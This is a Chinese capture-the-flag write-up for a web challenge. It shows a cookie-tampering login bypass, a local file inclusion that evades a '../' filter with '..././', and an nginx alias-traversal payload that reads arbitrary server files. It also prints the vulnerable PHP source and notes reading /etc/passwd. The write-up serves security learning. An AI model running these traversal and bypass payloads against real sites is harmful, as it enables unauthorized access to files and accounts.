题目内容：网站要上线了，还没测试呢，怎么办？

image.png
打开网站只有一个登录框，随便输入登陆一下，提示网站正在建设中
使用dirsearch扫描网站，发现robots.txt

  1. User-agent: *
  2. Disallow: /flag.php

但是flag.php中只有一个flag_is_here

接着使用burpsuit抓包，发现请求的cookie中有一项login=0，将值改为1之后，成功登录进去。（不能在login.php页面更改，要在首页更改）
image.png
看到有个manage，点进去试试
发现上面的地址变为

  1. http://ec34bcd4403e4e18a9d284df3a33df3cdc36baafb87d444a.changame.ichunqiu.com/manages/admin.php?module=index&name=php

module是index，name是php，看起来任意文件包含漏洞，试试读取flag.php，结果还是一样，只有flag_is_here

尝试使用伪协议，

  1. GET /manages/admin.php?module=php://input&name= HTTP/1.1
  3. <?php phpinfo(); ?>

依旧什么都没发生
后来看了wp才知道，还有nginx的漏洞可以用。。。

首先读取nginx的配置文件，但是程序将../过滤掉了，所以要使用..././。

  1. #user  nobody;
  2. worker_processes  1;
  4. #error_log  logs/error.log;
  5. #error_log  logs/error.log  notice;
  6. #error_log  logs/error.log  info;
  8. #pid        run/nginx.pid;
  11. events {
  12.     worker_connections  1024;
  13. }
  16. http {
  17.     include       mime.types;
  18.     default_type  application/octet-stream;
  20.     #log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
  21.     #                  '$status $body_bytes_sent "$http_referer" '
  22.     #                  '"$http_user_agent" "$http_x_forwarded_for"';
  24.     #access_log  logs/access.log  main;
  26.     sendfile        on;
  27.     #tcp_nopush     on;
  29.     #keepalive_timeout  0;
  30.     keepalive_timeout  65;
  32.     #gzip  on;
  34.     #server {
  35.     #    listen       80;
  36.     #    server_name  localhost;
  38.         #charset koi8-r;
  40.         #access_log  logs/host.access.log  main;
  42.     #    location / {
  43.     #        root   html;
  44.     #        index  index.html index.htm;
  45.     #    }
  47.         #error_page  404              /404.html;
  49.         # redirect server error pages to the static page /50x.html
  50.         #
  51.     #    error_page   500 502 503 504  /50x.html;
  52.     #    location = /50x.html {
  53.     #        root   html;
  54.     #    }
  56.         # proxy the PHP scripts to Apache listening on 127.0.0.1:80
  57.         #
  58.         #location ~ \.php$ {
  59.         #    proxy_pass   http://127.0.0.1;
  60.         #}
  62.         # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
  63.         #
  64.         #location ~ \.php$ {
  65.         #    root           html;
  66.         #    fastcgi_pass   127.0.0.1:9000;
  67.         #    fastcgi_index  index.php;
  68.         #    fastcgi_param  SCRIPT_FILENAME  /scripts$fastcgi_script_name;
  69.         #    include        fastcgi_params;
  70.         #}
  72.         # deny access to .htaccess files, if Apache's document root
  73.         # concurs with nginx's one
  74.         #
  75.         #location ~ /\.ht {
  76.         #    deny  all;
  77.         #}
  78.     #}
  81.     # another virtual host using mix of IP-, name-, and port-based configuration
  82.     #
  83.     #server {
  84.     #    listen       8000;
  85.     #    listen       somename:8080;
  86.     #    server_name  somename  alias  another.alias;
  88.     #    location / {
  89.     #        root   html;
  90.     #        index  index.html index.htm;
  91.     #    }
  92.     #}
  95.     # HTTPS server
  96.     #
  97.     #server {
  98.     #    listen       443 ssl;
  99.     #    server_name  localhost;
  101.     #    ssl_certificate      cert.pem;
  102.     #    ssl_certificate_key  cert.key;
  104.     #    ssl_session_cache    shared:SSL:1m;
  105.     #    ssl_session_timeout  5m;
  107.     #    ssl_ciphers  HIGH:!aNULL:!MD5;
  108.     #    ssl_prefer_server_ciphers  on;
  110.     #    location / {
  111.     #        root   html;
  112.     #        index  index.html index.htm;
  113.     #    }
  114.     #}
  115.     include  sites-enabled/default;
  116. }

乍一看没什么问题，但是最后又include了一个文件，继续查看

  1. server {
  2.     listen 80 default_server;
  3.     listen [::]:80 default_server ipv6only=on;
  5.     root /var/www/html;
  6.     index index.php index.html index.htm;
  8.     server_name localhost;
  10.     location / {
  11.         try_files $uri $uri/ =404;
  12.         location ~ \.php$ {
  13.             fastcgi_split_path_info ^(.+\.php)(/.+)$;
  14.             fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
  15.             #fastcgi_pass unix:/var/run/php5-fpm.sock;
  16.             fastcgi_pass   127.0.0.1:9000;
  17.             fastcgi_index index.php;
  18.             include fastcgi_params;
  19.         }
  20.     }
  22.     error_page 404 /404.html;
  24.     error_page 500 502 503 504 /50x.html;
  25.     location = /50x.html {
  26.         root /var/www/html;
  27.     }
  29.     location /online-movies {
  30.             alias /movie/;
  31.             autoindex on;
  32.         }
  34.     location ~ /\.ht {
  35.         deny all;
  36.     }
  37. }

可以看到

  1. location /online-movies {
  2.             alias /movie/;
  3.             autoindex on;
  4.         }

/online-movies后没有加上/，并且有autoindex on，那么访问/online-movies../就变成了/movie/../，然后就可以读取任意文件了。

payload

  1. /online-movies../var/www/html/flag.php

题目源码解析

读取一下admin.php看看

  1. <?php 
  2. header("content-text:text/html;charset=gbk");
  3. if(!isset($_COOKIE['login']))
  4.     setcookie("login", "0");
  5. if( !isset($_COOKIE['login']) || $_COOKIE['login'] !== '1')
  6.     die("<script>alert('You need to log in!');location.href='/login.php';</script>");
  7. if (!isset($_GET['module']) || !isset($_GET['name']))
  8.     header("Location: admin.php?module=index&name=php");
  10. ?>
  11. <?php
  12.     $ext = $_GET['name'];
  13.     if ($ext === 'php') {
  14.         $ext = ".".$ext;
  15.     }else{
  16.         $ext = '';
  17.     }
  18.     include "/var/www/html/".str_replace("../","",$_GET['module']).$ext;
  19. ?>

login这一部分就不用说了，重点在下面的include部分。
因为是采用的字符串拼接，所以不能使用伪协议，而后面的str_replace部分，是将../替换为空字符串，所以才要使用..././的形式，将中间的../替换之后，得到的结果正好是../。

至于为什么知道是nginx，从404页面就可以知道，也可以通过读取/etc/passwd。